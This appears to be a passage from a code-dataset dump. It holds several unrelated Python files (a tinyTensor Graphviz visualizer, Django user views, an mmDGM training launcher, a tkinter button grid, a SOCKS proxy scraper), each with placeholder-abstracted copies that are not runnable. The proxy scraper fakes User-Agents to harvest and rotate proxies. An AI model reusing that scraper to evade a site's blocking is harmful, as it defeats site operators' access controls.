format(node.name))\n elif node.isPlaceholder:\n self.placeholderNames.append(node.name)\n self.nodes.append(node)\n\n def set_default(self):\n init()\n global _default_graph\n _default_graph = self\n\n def visualize_nodes(self, node):\n gv_file = 'graph \"\" \\n{\\n'\n global nodeCounter\n nodeCounter = 0\n\n def recurse(nodes, gv_file, parent_node_str=None):\n global nodeCounter\n nodes_list = []\n if isinstance(nodes, list):\n nodes_list.extend(nodes)\n else:\n nodes_list.append(nodes)\n for node in nodes_list:\n current_node_str = 'n' + str(nodeCounter)\n nodeCounter += 1\n \"\"\" operation might contain non-node constants, hence need to make sure that they are converted to node\"\"\"\n if type(node) in (int, float):\n node = tinyTensor.Node.Node.variable(node)\n \"\"\"creating the node labels\"\"\"\n if isinstance(node, tinyTensor.Operation.Operation):\n gv_file += (current_node_str + ' [label=\"{} ({})\"] ;\\n'\n .format(node.operator, node.value))\n elif node.isPlaceholder:\n gv_file += (current_node_str + ' [label=\"{}({})\"] ;\\n'.\n format(node.name, node.value))\n else:\n gv_file += (current_node_str + ' [label=\"{}({})\"] ;\\n'.\n format(node.name, node.value))\n if parent_node_str != None:\n gv_file += (parent_node_str + ' -- ' + current_node_str +\n '; \\n')\n if len(node.inputNodes) > 0:\n gv_file = recurse(node.inputNodes, gv_file,\n current_node_str)\n return gv_file\n gv_file = recurse(node, gv_file)\n gv_file += '}\\n'\n with open('network.gv', 'w+') as file:\n file.writelines(gv_file)\n print(gv_file)\n\n def visualize_layers(self, layer_list):\n neuron_dict = {}\n gv_file = 'graph \"\" \\n{\\n'\n for node in layer_list[0].inputList:\n neuron_dict[node] = node.name\n gv_file += neuron_dict[node] + ' [label=\"{}({})\"] ;\\n'.format(node\n .name, node.value)\n for layer in layer_list:\n for neuron in layer.neuronList:\n neuron_dict[neuron] = '{}'.format(neuron.name)\n gv_file += neuron_dict[neuron\n ] + ' [label=\"{}({})\"] ;\\n'.format(neuron.name, neuron.\n value)\n for layer in layer_list:\n for neuron in layer.neuronList:\n for input_neuron in neuron.inputNeurons:\n gv_file += neuron_dict[neuron] + ' -- ' + neuron_dict[\n input_neuron] + '; \\n'\n gv_file += '}\\n'\n with open('network.gv', 'w+') as file:\n file.writelines(gv_file)\n print(gv_file)\n", "<import token>\n<function token>\n<function token>\n\n\nclass Graph:\n\n def __init__(self):\n self.nodes = []\n self.placeholderNames = []\n\n def appendNode(self, node):\n if node.name in self.placeholderNames and node.isPlaceholder:\n raise Exception(\n 'Placeholder name \"{}\" is already in use in current graph'.\n format(node.name))\n elif node.isPlaceholder:\n self.placeholderNames.append(node.name)\n self.nodes.append(node)\n <function token>\n\n def visualize_nodes(self, node):\n gv_file = 'graph \"\" \\n{\\n'\n global nodeCounter\n nodeCounter = 0\n\n def recurse(nodes, gv_file, parent_node_str=None):\n global nodeCounter\n nodes_list = []\n if isinstance(nodes, list):\n nodes_list.extend(nodes)\n else:\n nodes_list.append(nodes)\n for node in nodes_list:\n current_node_str = 'n' + str(nodeCounter)\n nodeCounter += 1\n \"\"\" operation might contain non-node constants, hence need to make sure that they are converted to node\"\"\"\n if type(node) in (int, float):\n node = tinyTensor.Node.Node.variable(node)\n \"\"\"creating the node labels\"\"\"\n if isinstance(node, tinyTensor.Operation.Operation):\n gv_file += (current_node_str + ' [label=\"{} ({})\"] ;\\n'\n .format(node.operator, node.value))\n elif node.isPlaceholder:\n gv_file += (current_node_str + ' [label=\"{}({})\"] ;\\n'.\n format(node.name, node.value))\n else:\n gv_file += (current_node_str + ' [label=\"{}({})\"] ;\\n'.\n format(node.name, node.value))\n if parent_node_str != None:\n gv_file += (parent_node_str + ' -- ' + current_node_str +\n '; \\n')\n if len(node.inputNodes) > 0:\n gv_file = recurse(node.inputNodes, gv_file,\n current_node_str)\n return gv_file\n gv_file = recurse(node, gv_file)\n gv_file += '}\\n'\n with open('network.gv', 'w+') as file:\n file.writelines(gv_file)\n print(gv_file)\n\n def visualize_layers(self, layer_list):\n neuron_dict = {}\n gv_file = 'graph \"\" \\n{\\n'\n for node in layer_list[0].inputList:\n neuron_dict[node] = node.name\n gv_file += neuron_dict[node] + ' [label=\"{}({})\"] ;\\n'.format(node\n .name, node.value)\n for layer in layer_list:\n for neuron in layer.neuronList:\n neuron_dict[neuron] = '{}'.format(neuron.name)\n gv_file += neuron_dict[neuron\n ] + ' [label=\"{}({})\"] ;\\n'.format(neuron.name, neuron.\n value)\n for layer in layer_list:\n for neuron in layer.neuronList:\n for input_neuron in neuron.inputNeurons:\n gv_file += neuron_dict[neuron] + ' -- ' + neuron_dict[\n input_neuron] + '; \\n'\n gv_file += '}\\n'\n with open('network.gv', 'w+') as file:\n file.writelines(gv_file)\n print(gv_file)\n", "<import token>\n<function token>\n<function token>\n\n\nclass Graph:\n <function token>\n\n def appendNode(self, node):\n if node.name in self.placeholderNames and node.isPlaceholder:\n raise Exception(\n 'Placeholder name \"{}\" is already in use in current graph'.\n format(node.name))\n elif node.isPlaceholder:\n self.placeholderNames.append(node.name)\n self.nodes.append(node)\n <function token>\n\n def visualize_nodes(self, node):\n gv_file = 'graph \"\" \\n{\\n'\n global nodeCounter\n nodeCounter = 0\n\n def recurse(nodes, gv_file, parent_node_str=None):\n global nodeCounter\n nodes_list = []\n if isinstance(nodes, list):\n nodes_list.extend(nodes)\n else:\n nodes_list.append(nodes)\n for node in nodes_list:\n current_node_str = 'n' + str(nodeCounter)\n nodeCounter += 1\n \"\"\" operation might contain non-node constants, hence need to make sure that they are converted to node\"\"\"\n if type(node) in (int, float):\n node = tinyTensor.Node.Node.variable(node)\n \"\"\"creating the node labels\"\"\"\n if isinstance(node, tinyTensor.Operation.Operation):\n gv_file += (current_node_str + ' [label=\"{} ({})\"] ;\\n'\n .format(node.operator, node.value))\n elif node.isPlaceholder:\n gv_file += (current_node_str + ' [label=\"{}({})\"] ;\\n'.\n format(node.name, node.value))\n else:\n gv_file += (current_node_str + ' [label=\"{}({})\"] ;\\n'.\n format(node.name, node.value))\n if parent_node_str != None:\n gv_file += (parent_node_str + ' -- ' + current_node_str +\n '; \\n')\n if len(node.inputNodes) > 0:\n gv_file = recurse(node.inputNodes, gv_file,\n current_node_str)\n return gv_file\n gv_file = recurse(node, gv_file)\n gv_file += '}\\n'\n with open('network.gv', 'w+') as file:\n file.writelines(gv_file)\n print(gv_file)\n\n def visualize_layers(self, layer_list):\n neuron_dict = {}\n gv_file = 'graph \"\" \\n{\\n'\n for node in layer_list[0].inputList:\n neuron_dict[node] = node.name\n gv_file += neuron_dict[node] + ' [label=\"{}({})\"] ;\\n'.format(node\n .name, node.value)\n for layer in layer_list:\n for neuron in layer.neuronList:\n neuron_dict[neuron] = '{}'.format(neuron.name)\n gv_file += neuron_dict[neuron\n ] + ' [label=\"{}({})\"] ;\\n'.format(neuron.name, neuron.\n value)\n for layer in layer_list:\n for neuron in layer.neuronList:\n for input_neuron in neuron.inputNeurons:\n gv_file += neuron_dict[neuron] + ' -- ' + neuron_dict[\n input_neuron] + '; \\n'\n gv_file += '}\\n'\n with open('network.gv', 'w+') as file:\n file.writelines(gv_file)\n print(gv_file)\n", "<import token>\n<function token>\n<function token>\n\n\nclass Graph:\n <function token>\n\n def appendNode(self, node):\n if node.name in self.placeholderNames and node.isPlaceholder:\n raise Exception(\n 'Placeholder name \"{}\" is already in use in current graph'.\n format(node.name))\n elif node.isPlaceholder:\n self.placeholderNames.append(node.name)\n self.nodes.append(node)\n <function token>\n <function token>\n\n def visualize_layers(self, layer_list):\n neuron_dict = {}\n gv_file = 'graph \"\" \\n{\\n'\n for node in layer_list[0].inputList:\n neuron_dict[node] = node.name\n gv_file += neuron_dict[node] + ' [label=\"{}({})\"] ;\\n'.format(node\n .name, node.value)\n for layer in layer_list:\n for neuron in layer.neuronList:\n neuron_dict[neuron] = '{}'.format(neuron.name)\n gv_file += neuron_dict[neuron\n ] + ' [label=\"{}({})\"] ;\\n'.format(neuron.name, neuron.\n value)\n for layer in layer_list:\n for neuron in layer.neuronList:\n for input_neuron in neuron.inputNeurons:\n gv_file += neuron_dict[neuron] + ' -- ' + neuron_dict[\n input_neuron] + '; \\n'\n gv_file += '}\\n'\n with open('network.gv', 'w+') as file:\n file.writelines(gv_file)\n print(gv_file)\n", "<import token>\n<function token>\n<function token>\n\n\nclass Graph:\n <function token>\n <function token>\n <function token>\n <function token>\n\n def visualize_layers(self, layer_list):\n neuron_dict = {}\n gv_file = 'graph \"\" \\n{\\n'\n for node in layer_list[0].inputList:\n neuron_dict[node] = node.name\n gv_file += neuron_dict[node] + ' [label=\"{}({})\"] ;\\n'.format(node\n .name, node.value)\n for layer in layer_list:\n for neuron in layer.neuronList:\n neuron_dict[neuron] = '{}'.format(neuron.name)\n gv_file += neuron_dict[neuron\n ] + ' [label=\"{}({})\"] ;\\n'.format(neuron.name, neuron.\n value)\n for layer in layer_list:\n for neuron in layer.neuronList:\n for input_neuron in neuron.inputNeurons:\n gv_file += neuron_dict[neuron] + ' -- ' + neuron_dict[\n input_neuron] + '; \\n'\n gv_file += '}\\n'\n with open('network.gv', 'w+') as file:\n file.writelines(gv_file)\n print(gv_file)\n", "<import token>\n<function token>\n<function token>\n\n\nclass Graph:\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<import token>\n<function token>\n<function token>\n<class token>\n" ]
false
475
22da05d9bf6139a0306bfb2d1df96e9e2cf6a0c6
# vim: tabstop=4 expandtab autoindent shiftwidth=4 fileencoding=utf-8 from django.contrib.auth.decorators import login_required from django.contrib.auth import models as auth_models from django.contrib.auth import forms as auth_forms from django.contrib.auth import authenticate, login from django.core.urlresolvers import reverse from django.utils.translation import ugettext_noop as _ from django.contrib import messages from django.http import HttpResponseRedirect from django.shortcuts import get_object_or_404, render_to_response from django.template import RequestContext from django_mises.blog import models as blog_models from django_mises.users import forms as users_forms from django_mises import email_helpers def user_view(request, username): """View the user """ import datetime user = get_object_or_404(auth_models.User, username=username, is_active=True) now = datetime.datetime.now() post_count = blog_models.Post.objects.filter(author=user, publish_at__lte=now).count() # Needs verification? email_verification_form = None if request.user.id == user.id and not user.get_profile().is_verified: data = request.POST.copy() or None email_verification_form = users_forms.EmailVerificationForm(data=data) if email_verification_form.is_bound: email_verification_form.data['user'] = request.user if email_verification_form.is_valid(): email_verification_form.save() messages.info(request, 'Tunnuksesi on aktivoitu!') return HttpResponseRedirect(reverse('user', args=(request.user.username,))) # Avoid template namespace clash context = { 'viewed_user': user, 'post_count': post_count, 'email_verification_form': email_verification_form, } req_ctx = RequestContext(request, context) return render_to_response('user.html', req_ctx) def register(request): """Registration view, Django offers none """ data = request.POST.copy() or None user_creation_form = auth_forms.UserCreationForm(data) if user_creation_form.is_bound: if user_creation_form.is_valid(): user = user_creation_form.save() user = authenticate(username=user.username, password=user_creation_form.cleaned_data['password1']) login(request, user) return HttpResponseRedirect(reverse('user', args=(user.username,))) context = { 'user_creation_form': user_creation_form, } req_ctx = RequestContext(request, context) return render_to_response('register.html', req_ctx) @login_required def get_verification_code(request): """Maybe ajaxify this in the future """ if request.user.get_profile().is_verified: messages.info(request, 'Olet jo vahvistanut osoitteesi') else: verification_code = request.user.get_profile().gen_verification_code() extractx = { 'code': verification_code, } subject = _('Verification code') email_helpers.send_user_email(request.user, subject, 'send_verification_code.txt', extractx) messages.info(request, 'Vahvistuskoodi on lähetetty sähköpostiisi') return HttpResponseRedirect(reverse('user', args=(request.user.username,))) # EOF
[ "# vim: tabstop=4 expandtab autoindent shiftwidth=4 fileencoding=utf-8\n\nfrom django.contrib.auth.decorators import login_required\n\nfrom django.contrib.auth import models as auth_models\nfrom django.contrib.auth import forms as auth_forms\nfrom django.contrib.auth import authenticate, login\n\nfrom django.core.urlresolvers import reverse\n\nfrom django.utils.translation import ugettext_noop as _\n\nfrom django.contrib import messages\n\nfrom django.http import HttpResponseRedirect\n\nfrom django.shortcuts import get_object_or_404, render_to_response\n\nfrom django.template import RequestContext\n\nfrom django_mises.blog import models as blog_models\n\nfrom django_mises.users import forms as users_forms\n\nfrom django_mises import email_helpers\n\ndef user_view(request, username):\n \"\"\"View the user\n \"\"\"\n\n import datetime\n\n user = get_object_or_404(auth_models.User, username=username, is_active=True)\n\n now = datetime.datetime.now()\n\n post_count = blog_models.Post.objects.filter(author=user, publish_at__lte=now).count()\n\n # Needs verification?\n email_verification_form = None\n if request.user.id == user.id and not user.get_profile().is_verified:\n data = request.POST.copy() or None\n\n email_verification_form = users_forms.EmailVerificationForm(data=data)\n if email_verification_form.is_bound:\n email_verification_form.data['user'] = request.user\n if email_verification_form.is_valid():\n email_verification_form.save()\n\n messages.info(request, 'Tunnuksesi on aktivoitu!')\n\n return HttpResponseRedirect(reverse('user', args=(request.user.username,)))\n\n # Avoid template namespace clash\n context = {\n 'viewed_user': user,\n 'post_count': post_count,\n 'email_verification_form': email_verification_form,\n }\n req_ctx = RequestContext(request, context)\n\n return render_to_response('user.html', req_ctx)\n\ndef register(request):\n \"\"\"Registration view, Django offers none\n \"\"\"\n\n data = request.POST.copy() or None\n\n user_creation_form = auth_forms.UserCreationForm(data)\n if user_creation_form.is_bound:\n if user_creation_form.is_valid():\n user = user_creation_form.save()\n\n user = authenticate(username=user.username, password=user_creation_form.cleaned_data['password1'])\n login(request, user)\n\n return HttpResponseRedirect(reverse('user', args=(user.username,)))\n\n context = {\n 'user_creation_form': user_creation_form,\n }\n req_ctx = RequestContext(request, context)\n\n return render_to_response('register.html', req_ctx)\n\n@login_required\ndef get_verification_code(request):\n \"\"\"Maybe ajaxify this in the future\n \"\"\"\n\n if request.user.get_profile().is_verified:\n messages.info(request, 'Olet jo vahvistanut osoitteesi')\n else:\n verification_code = request.user.get_profile().gen_verification_code()\n extractx = {\n 'code': verification_code,\n }\n subject = _('Verification code')\n email_helpers.send_user_email(request.user, subject, 'send_verification_code.txt', extractx)\n\n messages.info(request, 'Vahvistuskoodi on lähetetty sähköpostiisi')\n\n return HttpResponseRedirect(reverse('user', args=(request.user.username,)))\n\n# EOF\n\n", "from django.contrib.auth.decorators import login_required\nfrom django.contrib.auth import models as auth_models\nfrom django.contrib.auth import forms as auth_forms\nfrom django.contrib.auth import authenticate, login\nfrom django.core.urlresolvers import reverse\nfrom django.utils.translation import ugettext_noop as _\nfrom django.contrib import messages\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import get_object_or_404, render_to_response\nfrom django.template import RequestContext\nfrom django_mises.blog import models as blog_models\nfrom django_mises.users import forms as users_forms\nfrom django_mises import email_helpers\n\n\ndef user_view(request, username):\n \"\"\"View the user\n \"\"\"\n import datetime\n user = get_object_or_404(auth_models.User, username=username, is_active\n =True)\n now = datetime.datetime.now()\n post_count = blog_models.Post.objects.filter(author=user,\n publish_at__lte=now).count()\n email_verification_form = None\n if request.user.id == user.id and not user.get_profile().is_verified:\n data = request.POST.copy() or None\n email_verification_form = users_forms.EmailVerificationForm(data=data)\n if email_verification_form.is_bound:\n email_verification_form.data['user'] = request.user\n if email_verification_form.is_valid():\n email_verification_form.save()\n messages.info(request, 'Tunnuksesi on aktivoitu!')\n return HttpResponseRedirect(reverse('user', args=(request.\n user.username,)))\n context = {'viewed_user': user, 'post_count': post_count,\n 'email_verification_form': email_verification_form}\n req_ctx = RequestContext(request, context)\n return render_to_response('user.html', req_ctx)\n\n\ndef register(request):\n \"\"\"Registration view, Django offers none\n \"\"\"\n data = request.POST.copy() or None\n user_creation_form = auth_forms.UserCreationForm(data)\n if user_creation_form.is_bound:\n if user_creation_form.is_valid():\n user = user_creation_form.save()\n user = authenticate(username=user.username, password=\n user_creation_form.cleaned_data['password1'])\n login(request, user)\n return HttpResponseRedirect(reverse('user', args=(user.username,)))\n context = {'user_creation_form': user_creation_form}\n req_ctx = RequestContext(request, context)\n return render_to_response('register.html', req_ctx)\n\n\n@login_required\ndef get_verification_code(request):\n \"\"\"Maybe ajaxify this in the future\n \"\"\"\n if request.user.get_profile().is_verified:\n messages.info(request, 'Olet jo vahvistanut osoitteesi')\n else:\n verification_code = request.user.get_profile().gen_verification_code()\n extractx = {'code': verification_code}\n subject = _('Verification code')\n email_helpers.send_user_email(request.user, subject,\n 'send_verification_code.txt', extractx)\n messages.info(request, 'Vahvistuskoodi on lähetetty sähköpostiisi')\n return HttpResponseRedirect(reverse('user', args=(request.user.username,)))\n", "<import token>\n\n\ndef user_view(request, username):\n \"\"\"View the user\n \"\"\"\n import datetime\n user = get_object_or_404(auth_models.User, username=username, is_active\n =True)\n now = datetime.datetime.now()\n post_count = blog_models.Post.objects.filter(author=user,\n publish_at__lte=now).count()\n email_verification_form = None\n if request.user.id == user.id and not user.get_profile().is_verified:\n data = request.POST.copy() or None\n email_verification_form = users_forms.EmailVerificationForm(data=data)\n if email_verification_form.is_bound:\n email_verification_form.data['user'] = request.user\n if email_verification_form.is_valid():\n email_verification_form.save()\n messages.info(request, 'Tunnuksesi on aktivoitu!')\n return HttpResponseRedirect(reverse('user', args=(request.\n user.username,)))\n context = {'viewed_user': user, 'post_count': post_count,\n 'email_verification_form': email_verification_form}\n req_ctx = RequestContext(request, context)\n return render_to_response('user.html', req_ctx)\n\n\ndef register(request):\n \"\"\"Registration view, Django offers none\n \"\"\"\n data = request.POST.copy() or None\n user_creation_form = auth_forms.UserCreationForm(data)\n if user_creation_form.is_bound:\n if user_creation_form.is_valid():\n user = user_creation_form.save()\n user = authenticate(username=user.username, password=\n user_creation_form.cleaned_data['password1'])\n login(request, user)\n return HttpResponseRedirect(reverse('user', args=(user.username,)))\n context = {'user_creation_form': user_creation_form}\n req_ctx = RequestContext(request, context)\n return render_to_response('register.html', req_ctx)\n\n\n@login_required\ndef get_verification_code(request):\n \"\"\"Maybe ajaxify this in the future\n \"\"\"\n if request.user.get_profile().is_verified:\n messages.info(request, 'Olet jo vahvistanut osoitteesi')\n else:\n verification_code = request.user.get_profile().gen_verification_code()\n extractx = {'code': verification_code}\n subject = _('Verification code')\n email_helpers.send_user_email(request.user, subject,\n 'send_verification_code.txt', extractx)\n messages.info(request, 'Vahvistuskoodi on lähetetty sähköpostiisi')\n return HttpResponseRedirect(reverse('user', args=(request.user.username,)))\n", "<import token>\n\n\ndef user_view(request, username):\n \"\"\"View the user\n \"\"\"\n import datetime\n user = get_object_or_404(auth_models.User, username=username, is_active\n =True)\n now = datetime.datetime.now()\n post_count = blog_models.Post.objects.filter(author=user,\n publish_at__lte=now).count()\n email_verification_form = None\n if request.user.id == user.id and not user.get_profile().is_verified:\n data = request.POST.copy() or None\n email_verification_form = users_forms.EmailVerificationForm(data=data)\n if email_verification_form.is_bound:\n email_verification_form.data['user'] = request.user\n if email_verification_form.is_valid():\n email_verification_form.save()\n messages.info(request, 'Tunnuksesi on aktivoitu!')\n return HttpResponseRedirect(reverse('user', args=(request.\n user.username,)))\n context = {'viewed_user': user, 'post_count': post_count,\n 'email_verification_form': email_verification_form}\n req_ctx = RequestContext(request, context)\n return render_to_response('user.html', req_ctx)\n\n\ndef register(request):\n \"\"\"Registration view, Django offers none\n \"\"\"\n data = request.POST.copy() or None\n user_creation_form = auth_forms.UserCreationForm(data)\n if user_creation_form.is_bound:\n if user_creation_form.is_valid():\n user = user_creation_form.save()\n user = authenticate(username=user.username, password=\n user_creation_form.cleaned_data['password1'])\n login(request, user)\n return HttpResponseRedirect(reverse('user', args=(user.username,)))\n context = {'user_creation_form': user_creation_form}\n req_ctx = RequestContext(request, context)\n return render_to_response('register.html', req_ctx)\n\n\n<function token>\n", "<import token>\n\n\ndef user_view(request, username):\n \"\"\"View the user\n \"\"\"\n import datetime\n user = get_object_or_404(auth_models.User, username=username, is_active\n =True)\n now = datetime.datetime.now()\n post_count = blog_models.Post.objects.filter(author=user,\n publish_at__lte=now).count()\n email_verification_form = None\n if request.user.id == user.id and not user.get_profile().is_verified:\n data = request.POST.copy() or None\n email_verification_form = users_forms.EmailVerificationForm(data=data)\n if email_verification_form.is_bound:\n email_verification_form.data['user'] = request.user\n if email_verification_form.is_valid():\n email_verification_form.save()\n messages.info(request, 'Tunnuksesi on aktivoitu!')\n return HttpResponseRedirect(reverse('user', args=(request.\n user.username,)))\n context = {'viewed_user': user, 'post_count': post_count,\n 'email_verification_form': email_verification_form}\n req_ctx = RequestContext(request, context)\n return render_to_response('user.html', req_ctx)\n\n\n<function token>\n<function token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n" ]
false
476
40158bbfd9c95a8344f34431d0b0e98c4a1bf6ed
''' Code for mmDGM Author: Chongxuan Li ([email protected]) Version = '1.0' ''' import gpulearn_mm_z_x import sys, os import time import color n_hidden = (500,500) if len(sys.argv) > 2: n_hidden = tuple([int(x) for x in sys.argv[2:]]) nz=500 if os.environ.has_key('nz'): nz = int(os.environ['nz']) if os.environ.has_key('stepsize'): alpha = float(os.environ['stepsize']) else: alpha = 3e-4 if os.environ.has_key('decay1'): decay1 = float(os.environ['decay1']) else: decay1 = 0.1 if os.environ.has_key('decay2'): decay2 = float(os.environ['decay2']) else: decay2 = 0.001 if os.environ.has_key('random_seed'): seed = 0 if int(os.environ['random_seed']) == 1: seed = int(time.time()) if int(os.environ['random_seed'] > 1): seed = int(os.environ['random_seed']) color.printRed('random_seed ' + str(seed)) else: seed = int(time.time()) color.printRed('random_seed ' + str(seed)) #print 'random_seed (bool) missing.' #exit() gpulearn_mm_z_x.main(dataset=sys.argv[1], n_z=nz, n_hidden=n_hidden, seed=seed, comment='', alpha=alpha, decay1=decay1, decay2=decay2, gfx=True) #gpulearn_z_x.main(n_data=50000, dataset='svhn_pca', n_z=300, n_hidden=(500,500), seed=0)
[ "'''\nCode for mmDGM\nAuthor: Chongxuan Li ([email protected])\nVersion = '1.0'\n'''\n\nimport gpulearn_mm_z_x\nimport sys, os\nimport time\nimport color\n\nn_hidden = (500,500)\nif len(sys.argv) > 2:\n n_hidden = tuple([int(x) for x in sys.argv[2:]])\nnz=500\nif os.environ.has_key('nz'):\n nz = int(os.environ['nz'])\nif os.environ.has_key('stepsize'):\n alpha = float(os.environ['stepsize'])\nelse:\n alpha = 3e-4\nif os.environ.has_key('decay1'):\n decay1 = float(os.environ['decay1'])\nelse:\n decay1 = 0.1\nif os.environ.has_key('decay2'):\n decay2 = float(os.environ['decay2'])\nelse:\n decay2 = 0.001\nif os.environ.has_key('random_seed'):\n seed = 0\n if int(os.environ['random_seed']) == 1:\n seed = int(time.time())\n if int(os.environ['random_seed'] > 1):\n seed = int(os.environ['random_seed'])\n color.printRed('random_seed ' + str(seed))\nelse:\n seed = int(time.time())\n color.printRed('random_seed ' + str(seed))\n #print 'random_seed (bool) missing.' \n #exit()\n \ngpulearn_mm_z_x.main(dataset=sys.argv[1], n_z=nz, n_hidden=n_hidden, seed=seed, comment='', alpha=alpha, decay1=decay1, decay2=decay2, gfx=True)\n\n\n#gpulearn_z_x.main(n_data=50000, dataset='svhn_pca', n_z=300, n_hidden=(500,500), seed=0)\n", "<docstring token>\nimport gpulearn_mm_z_x\nimport sys, os\nimport time\nimport color\nn_hidden = 500, 500\nif len(sys.argv) > 2:\n n_hidden = tuple([int(x) for x in sys.argv[2:]])\nnz = 500\nif os.environ.has_key('nz'):\n nz = int(os.environ['nz'])\nif os.environ.has_key('stepsize'):\n alpha = float(os.environ['stepsize'])\nelse:\n alpha = 0.0003\nif os.environ.has_key('decay1'):\n decay1 = float(os.environ['decay1'])\nelse:\n decay1 = 0.1\nif os.environ.has_key('decay2'):\n decay2 = float(os.environ['decay2'])\nelse:\n decay2 = 0.001\nif os.environ.has_key('random_seed'):\n seed = 0\n if int(os.environ['random_seed']) == 1:\n seed = int(time.time())\n if int(os.environ['random_seed'] > 1):\n seed = int(os.environ['random_seed'])\n color.printRed('random_seed ' + str(seed))\nelse:\n seed = int(time.time())\n color.printRed('random_seed ' + str(seed))\ngpulearn_mm_z_x.main(dataset=sys.argv[1], n_z=nz, n_hidden=n_hidden, seed=\n seed, comment='', alpha=alpha, decay1=decay1, decay2=decay2, gfx=True)\n", "<docstring token>\n<import token>\nn_hidden = 500, 500\nif len(sys.argv) > 2:\n n_hidden = tuple([int(x) for x in sys.argv[2:]])\nnz = 500\nif os.environ.has_key('nz'):\n nz = int(os.environ['nz'])\nif os.environ.has_key('stepsize'):\n alpha = float(os.environ['stepsize'])\nelse:\n alpha = 0.0003\nif os.environ.has_key('decay1'):\n decay1 = float(os.environ['decay1'])\nelse:\n decay1 = 0.1\nif os.environ.has_key('decay2'):\n decay2 = float(os.environ['decay2'])\nelse:\n decay2 = 0.001\nif os.environ.has_key('random_seed'):\n seed = 0\n if int(os.environ['random_seed']) == 1:\n seed = int(time.time())\n if int(os.environ['random_seed'] > 1):\n seed = int(os.environ['random_seed'])\n color.printRed('random_seed ' + str(seed))\nelse:\n seed = int(time.time())\n color.printRed('random_seed ' + str(seed))\ngpulearn_mm_z_x.main(dataset=sys.argv[1], n_z=nz, n_hidden=n_hidden, seed=\n seed, comment='', alpha=alpha, decay1=decay1, decay2=decay2, gfx=True)\n", "<docstring token>\n<import token>\n<assignment token>\nif len(sys.argv) > 2:\n n_hidden = tuple([int(x) for x in sys.argv[2:]])\n<assignment token>\nif os.environ.has_key('nz'):\n nz = int(os.environ['nz'])\nif os.environ.has_key('stepsize'):\n alpha = float(os.environ['stepsize'])\nelse:\n alpha = 0.0003\nif os.environ.has_key('decay1'):\n decay1 = float(os.environ['decay1'])\nelse:\n decay1 = 0.1\nif os.environ.has_key('decay2'):\n decay2 = float(os.environ['decay2'])\nelse:\n decay2 = 0.001\nif os.environ.has_key('random_seed'):\n seed = 0\n if int(os.environ['random_seed']) == 1:\n seed = int(time.time())\n if int(os.environ['random_seed'] > 1):\n seed = int(os.environ['random_seed'])\n color.printRed('random_seed ' + str(seed))\nelse:\n seed = int(time.time())\n color.printRed('random_seed ' + str(seed))\ngpulearn_mm_z_x.main(dataset=sys.argv[1], n_z=nz, n_hidden=n_hidden, seed=\n seed, comment='', alpha=alpha, decay1=decay1, decay2=decay2, gfx=True)\n", "<docstring token>\n<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n" ]
false
477
e543c7f7f1b249e53b8ebf82641ec398abf557af
button6 = Button(tk,text=" ",font=('Times 26 bold'), heigh = 4, width = 8, command=lambda:checker(button6)) button6.grid(row=2, column=2,sticky = S+N+E+W) button7 = Button(tk,text=" ",font=('Times 26 bold'), heigh = 4, width = 8, command=lambda:checker(button7)) button7.grid(row=3, column=0,sticky = S+N+E+W) button8 = Button(tk,text=" ",font=('Times 26 bold'), heigh = 4, width = 8, command=lambda:checker(button8)) button8.grid(row=3, column=1,sticky = S+N+E+W) button9 = Button(tk,text=" ",font=('Times 26 bold'), heigh = 4, width = 8, command=lambda:checker(button9)) button9.grid(row=3, column=2,sticky = S+N+E+W) tk.mainloop()
[ "button6 = Button(tk,text=\" \",font=('Times 26 bold'), heigh = 4, width = 8, command=lambda:checker(button6))\nbutton6.grid(row=2, column=2,sticky = S+N+E+W)\nbutton7 = Button(tk,text=\" \",font=('Times 26 bold'), heigh = 4, width = 8, command=lambda:checker(button7))\nbutton7.grid(row=3, column=0,sticky = S+N+E+W)\nbutton8 = Button(tk,text=\" \",font=('Times 26 bold'), heigh = 4, width = 8, command=lambda:checker(button8))\nbutton8.grid(row=3, column=1,sticky = S+N+E+W)\nbutton9 = Button(tk,text=\" \",font=('Times 26 bold'), heigh = 4, width = 8, command=lambda:checker(button9))\nbutton9.grid(row=3, column=2,sticky = S+N+E+W)\ntk.mainloop()", "button6 = Button(tk, text=' ', font='Times 26 bold', heigh=4, width=8,\n command=lambda : checker(button6))\nbutton6.grid(row=2, column=2, sticky=S + N + E + W)\nbutton7 = Button(tk, text=' ', font='Times 26 bold', heigh=4, width=8,\n command=lambda : checker(button7))\nbutton7.grid(row=3, column=0, sticky=S + N + E + W)\nbutton8 = Button(tk, text=' ', font='Times 26 bold', heigh=4, width=8,\n command=lambda : checker(button8))\nbutton8.grid(row=3, column=1, sticky=S + N + E + W)\nbutton9 = Button(tk, text=' ', font='Times 26 bold', heigh=4, width=8,\n command=lambda : checker(button9))\nbutton9.grid(row=3, column=2, sticky=S + N + E + W)\ntk.mainloop()\n", "<assignment token>\nbutton6.grid(row=2, column=2, sticky=S + N + E + W)\n<assignment token>\nbutton7.grid(row=3, column=0, sticky=S + N + E + W)\n<assignment token>\nbutton8.grid(row=3, column=1, sticky=S + N + E + W)\n<assignment token>\nbutton9.grid(row=3, column=2, sticky=S + N + E + W)\ntk.mainloop()\n", "<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n" ]
false
478
647dde6e3288ded29336062b78baacc3a92908a7
import re import random import requests from bs4 import BeautifulSoup import js2py from fake_useragent import UserAgent def _get_request_key(session): res = session.post("https://spys.one/en/socks-proxy-list/") soup = BeautifulSoup(res.text, 'html.parser') return soup.find("input", {"name": "xx0"}).get("value") def _get_proxy_list(session, xx0): res = session.post("https://spys.one/en/socks-proxy-list/", data=f"xx0={xx0}&xpp={0}&xf1={0}&xf2={0}&xf4={0}&xf5={2}", headers={ "Content-Type": "application/x-www-form-urlencoded", }) soup = BeautifulSoup(res.text, 'html.parser') js = js2py.EvalJs({"document": {"write": lambda a: a}}) js.execute(soup.select_one("body > script").string) addrs = soup.select("tr[onmouseover] > td:first-child") ports = [js.eval(i.find("script").string) for i in addrs] addrs = [i.get_text() for i in addrs] ports = [re.sub(r"<[^<]*>", "", i) for i in ports] return list(map(''.join, zip(addrs, ports))) class ProxyScrapper: def __init__(self): self._proxies = [] def refresh(self): session = requests.Session() session.headers["User-Agent"] = UserAgent().random print("Rotating proxy list") xx0 = _get_request_key(session) print(f"Got proxy request key xx0={xx0}") addrs = _get_proxy_list(session, xx0) self._proxies = [f"socks5://{i}" for i in 